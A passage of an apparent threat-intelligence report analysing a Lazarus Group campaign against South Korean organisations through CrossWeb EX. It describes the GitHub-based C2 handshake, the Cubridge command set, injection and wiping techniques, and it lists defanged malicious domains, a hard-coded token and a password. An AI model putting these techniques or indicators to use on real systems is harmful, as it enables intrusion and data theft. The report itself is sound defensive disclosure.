https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-558x350.png 558w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-740x464.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-446x280.png 446w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-800x502.png 800w" title="Operation_FlashHole_scheme_011_EN" width="1844" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121625-2">Operation FlashHole attack flow during initial compromise</p></div> <p>Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.</p> <h2 id="background">Background</h2> <p>After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy <a href="https://securelist.com/apt-trends-report-q3-2021/104708/#southeast-asia-and-korean-peninsula" rel="noopener" target="_blank">the Racket downloader</a> and again in <a href="https://asec.ahnlab.com/en/33801/" rel="noopener" target="_blank">2022</a> and <a href="https://asec.ahnlab.com/en/55369/" rel="noopener" target="_blank">2023</a>. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.</p> <p>We noted that the spawned process was running with a high integrity level. The parent process, <code>INISAFECrossWebEXSvc.exe</code>, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after <a href="https://www.krcert.or.kr/kr/bbs/view.do?searchCnd=1&amp;bbsId=B0000133&amp;searchWrd=CrossWEB&amp;menuNo=205020&amp;pageIndex=1&amp;categoryCode=&amp;nttId=71030" rel="noopener" target="_blank">KrCERT’s public advisory</a>.</p> <p>As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a <a href="https://www.usenix.org/conference/usenixsecurity25/presentation/yun" rel="noopener" target="_blank">paper</a> was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.</p> <p>In July 2026, the South Korean government and several local security vendors also published a <a href="https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&amp;bbsId=B0000133&amp;searchWrd=&amp;menuNo=205020&amp;pageIndex=5&amp;categoryCode=&amp;nttId=72144" rel="noopener" target="_blank">joint security advisory</a> covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report <a href="https://image.ahnlab.com/atip/content/file/20260730/%5BAhnLab%5DOperation%20Double%20Barrel%28ENG%29%282026.07.30%29.pdf" rel="noopener" target="_blank">Operation Double Barrel</a> covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the <a href="#attr">attribution section</a>.</p> <h2 id="initial-infection-vector">Initial infection vector</h2> <p>Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.</p> <div class="wp-caption aligncenter" id="attachment_121574-2" style="width: 1531px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2.png"><img alt="Appearance of the malicious websites " aria-describedby="caption-attachment-121574-2" class="size-full wp-image-121574" decoding="async" height="666" sizes="auto, (max-width: 1521px) 100vw, 1521px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2.png 1521w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-300x131.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-1024x448.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-768x336.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-799x350.png 799w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-740x324.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-639x280.png 639w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-800x350.png 800w" title="lazarus-operation2" width="1521" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121574-2">Appearance of the malicious websites</p></div> <p>The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (<a href="https://securelist.com/kimsuky-appleseed-pebbledash-campaigns/119785/">1</a>, <a href="https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842/">2</a>). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.</p> <div class="wp-caption aligncenter" id="attachment_121575-2" style="width: 1318px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3.png"><img alt="Suspected use of an AI-generated image on the résumé site" aria-describedby="caption-attachment-121575-2" class="size-full wp-image-121575" decoding="async" height="542" sizes="auto, (max-width: 1308px) 100vw, 1308px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3.png 1308w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-300x124.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-1024x424.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-768x318.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-845x350.png 845w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-740x307.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-676x280.png 676w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-800x331.png 800w" title="lazarus-operation3" width="1308" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121575-2">Suspected use of an AI-generated image on the résumé site</p></div> <p>The websites contained embedded links that loaded an external JavaScript file via a script tag.</p> <ul> <li>Malicious link embedded in the résumé site: <code>hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js</code></li> <li>Malicious link embedded in interior design site: <code>hxxps://pythonapischool[.]com/api/detach</code></li> </ul> <p>Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain &lt;username&gt;.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.</p> <h2 id="full-infection-chain">Full infection chain</h2> <p>Following the initial compromise, the legitimate Windows binary <code>fsquirt.exe</code> was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.</p> <div class="wp-caption aligncenter" id="attachment_121576-2" style="width: 2570px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-scaled.png"><img alt="Initial infection chain" aria-describedby="caption-attachment-121576-2" class="size-full wp-image-121576" decoding="async" height="755" sizes="auto, (max-width: 2560px) 100vw, 2560px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-scaled.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-scaled.png 2560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-300x89.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-1024x302.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-768x227.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-1536x453.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-2048x604.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-1186x350.png 1186w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-740x218.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-949x280.png 949w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-800x236.png 800w" title="lazarus-operation4" width="2560" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121576-2">Initial infection chain</p></div> <p>Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name <code>mscoree.dll</code>. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.</p> <div class="wp-caption aligncenter" id="attachment_121577-2" style="width: 2570px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-scaled.png"><img alt="Expanded infection chain after gaining persistence" aria-describedby="caption-attachment-121577-2" class="size-full wp-image-121577" decoding="async" height="1081" sizes="auto, (max-width: 2560px) 100vw, 2560px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-scaled.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-scaled.png 2560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-300x127.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-1024x432.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-768x324.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-1536x648.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-2048x865.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-829x350.png 829w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-740x312.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-663x280.png 663w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-800x338.png 800w" title="lazarus-operation5" width="2560" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121577-2">Expanded infection chain after gaining persistence</p></div> <p>Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.</p> <h2 id="malware-set">Malware set</h2> <p>The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.</p> <h3 id="techhub-the-start-of-the-chain">TechHub – the start of the chain</h3> <p>TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.</p> <p>This variant is a more advanced version of the malware named <a href="https://cloud.google.com/blog/topics/threat-intelligence/lightshow-north-korea-unc2970" rel="noopener" target="_blank">CLOUDBURST</a> by Mandiant and <a href="https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/" rel="noopener" target="_blank">NickelLoader</a> by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.</p> <p>We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.</p> <p>When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range <code>0x1000–0xFFFF</code> or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request <code>GET /issues?state=[open/closed]</code> to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.</p> <ol> <li>It creates a new issue titled <code>1[ID]</code> with the body “hel” using the <code>POST /issues</code> request, and sets its status to open.</li> <li>It then retrieves a file from the repository containing the <code>2[ID]</code> value in its name. This file contains the RSA public key.</li> <li>It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with <code>1[ID]</code>, to the repository.</li> <li>The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.</li> </ol> <p>During file exchange, filenames follow the pattern <code>[1|2][ID][random-16-byte-key]</code> throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.</p> <p>After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using <code>PATCH /issues/[issue number]</code>. The malware is now fully prepared to receive commands from the repository.</p> <p>TechHub supports four commands. The <code>laeca</code> command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.</p> <table> <tbody> <tr> <td><strong>Command</strong></td> <td><strong>Description</strong></td> </tr> <tr> <td><code>mqdrz</code></td> <td>Collect information about the device and its running processes</td> </tr> <tr> <td><code>laeca</code></td> <td>Directly invoke the received shellcode in memory</td> </tr> <tr> <td><code>aqvxp</code></td> <td>Terminate the current process</td> </tr> <tr> <td><code>rtcya</code></td> <td>Beaconing after finishing the handshake process</td> </tr> </tbody> </table> <h3 id="cubridge-the-framework-orchestrator">Cubridge – the framework orchestrator</h3> <p>Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.</p> <p>To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern <code>[C2_URL]/[page1]/[page2]/[page3]</code>. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – <code>hxxps://cubedesign[.]co[.]kr/news/AABBCC</code> – associated with the examined instance that is configured to version 5.1. During URL generation, <code>AABBCC</code> is substituted with a null value. The <code>page3</code> segment is assigned a randomly generated integer between <code>10000000</code> and <code>99999999</code>. Consequently, each generated URL is designed to appear authentic and remain unique for each request.</p> <p>The predefined list for <code>page1</code> is shown below. TechHub randomly selects one item from the list.</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430d66995b584611363" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430d66995b584611363-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430d66995b584611363-1"><span class="crayon-v">economy</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">opinion</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">politics</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">national</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">international</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">medical</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">investment</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">sports</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">lifestyle</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">shopping</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">culture</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>The predefined word list for <code>page2</code> is shown below.</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430d669968851478035" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> article, list, story</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430d669968851478035-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430d669968851478035-1"><span class="crayon-v">article</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">list</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">story</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>This means the hardcoded URL can later be transformed, for example, into <code>hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678</code> by following the steps described above.</p> <p>Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (<code>KW4Ofw982CNJjxd51AVqkGAop</code>), and a randomly generated 16‑byte hexadecimal session ID.</p> <p>Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using <code>X‑CSRF‑Token</code> and <code>X‑Requested‑With</code> headers for authentication and the <code>Upgrade‑Insecure‑Requests</code> header to request additional data.</p> <div class="wp-caption aligncenter" id="attachment_121578-2" style="width: 2265px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6.png"><img alt="Cubridge's communication sequence" aria-describedby="caption-attachment-121578-2" class="size-full wp-image-121578" decoding="async" height="1673" sizes="auto, (max-width: 2255px) 100vw, 2255px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6.png 2255w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-300x223.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-1024x760.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-768x570.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-1536x1140.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-2048x1519.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-472x350.png 472w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-740x549.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-377x280.png 377w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-800x594.png 800w" title="lazarus-operation6" width="2255" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121578-2">Cubridge’s communication sequence</p></div> <p>Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:</p> <ul> <li>Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);</li> <li>Tools (in DLL form) – independent utilities that perform one-off tasks;</li> <li>Modules – components that are loaded once and remain active providing an extended set of functionalities.</li> </ul> <p>It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its <code>DllMain</code> entry point and its parameters are accessible; no other exported functions are exposed.</p> <table> <tbody> <tr> <td><strong>Command</strong></td> <td><strong>Payload type</strong></td> <td><strong>Description</strong></td> </tr> <tr> <td>0</td> <td rowspan="3">–</td> <td>Collect device info including the computer name, time zone, PID, and other similar details</td> </tr> <tr> <td>1</td> <td>Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: <code>xdkiTajAAxc3i/w[&lt;881fnC!G*cb1Dit2sh.gAk/</code></td> </tr> <tr> <td>2</td> <td>Create a file at the specified path</td> </tr> <tr> <td>3</td> <td>Possibly plugin</td> <td>Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection</td> </tr> <tr> <td>4</td> <td rowspan="4">Plugin</td> <td>Reflectively load a plugin in DLL format</td> </tr> <tr> <td>5</td> <td>Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters</td> </tr> <tr> <td>6</td> <td>Retrieve all information about the loaded plugins</td> </tr> <tr> <td>7</td> <td>Unload the specified plugin</td> </tr> <tr> <td>8</td> <td rowspan="5">Shellcode</td> <td>Inject the provided shellcode into the target process and load it using section mapping injection</td> </tr> <tr> <td>9</td> <td>Load the provided shellcode directly into memory</td> </tr> <tr> <td>10</td> <td>Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter</td> </tr> <tr> <td>11</td> <td>Retrieve all information about the loaded shellcode</td> </tr> <tr> <td>12</td> <td>Unload the specified shellcode</td> </tr> <tr> <td>13</td> <td rowspan="5">–</td> <td>Set the scheduled Cubridge execution time (in minutes) by updating a global variable</td> </tr> <tr> <td>14</td> <td>Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable</td> </tr> <tr> <td>15</td> <td>Terminate in a controlled manner</td> </tr> <tr> <td>16</td> <td>Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.</td> </tr> <tr> <td>17</td> <td>Update the global flags, the number of C2 servers, the C2 addresses, etc.</td> </tr> <tr> <td>18</td> <td rowspan="3">Tool</td> <td>Load a DLL reflectively with the specified parameter</td> </tr> <tr> <td>19</td> <td>Configure the parameters for loading a single DLL</td> </tr> <tr> <td>20</td> <td>Unload the single DLL</td> </tr> <tr> <td>21</td> <td rowspan="2">Module</td> <td>Load the “action module” (<code>ActionModule.dll</code>) reflectively and invoke its <code>AppinfoView</code> export function</td> </tr> <tr> <td>22</td> <td>Load the “function module” (<code>FunctionModule.dll</code>) reflectively and invoke its <code>PresentationFontConfig</code> export function</td> </tr> </tbody> </table> <p>Commands <code>21</code> and <code>22</code> each load a different module. As their internal names imply, the <strong>action module</strong> manages basic file and process operations, while the <strong>function module</strong> implements Windows’ default commands. The action module covers commands <code>23–41</code>, and the function module handles commands <code>42–79</code>.</p> <p>The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its <code>AppinfoView</code> export function. The module supports 19 commands, numbered <code>23</code> through <code>41</code>. Execution results are first sent to Cubridge, which then forwards them to the C2 server.</p> <table> <tbody> <tr> <td><strong>Command</strong></td> <td><strong>Role</strong></td> </tr> <tr> <td>23</td> <td>Get local disk space for each drive</td> </tr> <tr> <td>24</td> <td>Get information about the specified file or directory</td> </tr> <tr> <td>25</td> <td>Execute the provided command</td> </tr> <tr> <td>26</td> <td>Get information about the specified file or directory (similar to command 24)</td> </tr> <tr> <td>27</td> <td>Execute the provided command under the target process (PPID spoofing)</td> </tr> <tr> <td>28</td> <td>Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)</td> </tr> <tr> <td>29</td> <td>Get detailed information about processes</td> </tr> <tr> <td>30</td> <td>Terminate the provided process</td> </tr> <tr> <td>31</td> <td>Suspend all threads belonging to the specified process</td> </tr> <tr> <td>32</td> <td>Resume all threads belonging to the specified process</td> </tr> <tr> <td>33</td> <td>Permanently delete the file by overwriting its entire contents with the sequence: <code>0 → 1 → random bytes → 1 → 0</code></td> </tr> <tr> <td>34</td> <td>Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API <code>SetFileInformationByHandle</code></td> </tr> <tr> <td>35</td> <td>Set the current working directory</td> </tr> <tr> <td>36</td> <td>Copy the specified file to the provided path</td> </tr> <tr> <td>37</td> <td>Delete the specified directory</td> </tr> <tr> <td>38</td> <td>Move the specified file to the provided path</td> </tr> <tr> <td>39</td> <td>Create the provided directory</td> </tr> <tr> <td>40</td> <td>Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)</td> </tr> <tr> <td>41</td> <td>Read the specified file</td> </tr> </tbody> </table> <p>The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its <code>DllMain</code> routine initializes all supported command functions, which are later accessed through the <code>PresentationFontConfig</code> export. Altogether, the module offers 38 commands, numbered from <code>42</code> to <code>79</code>. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.</p> <table> <tbody> <tr> <td><strong>Command</strong></td> <td><strong>Role</strong></td> </tr> <tr> <td>42</td> 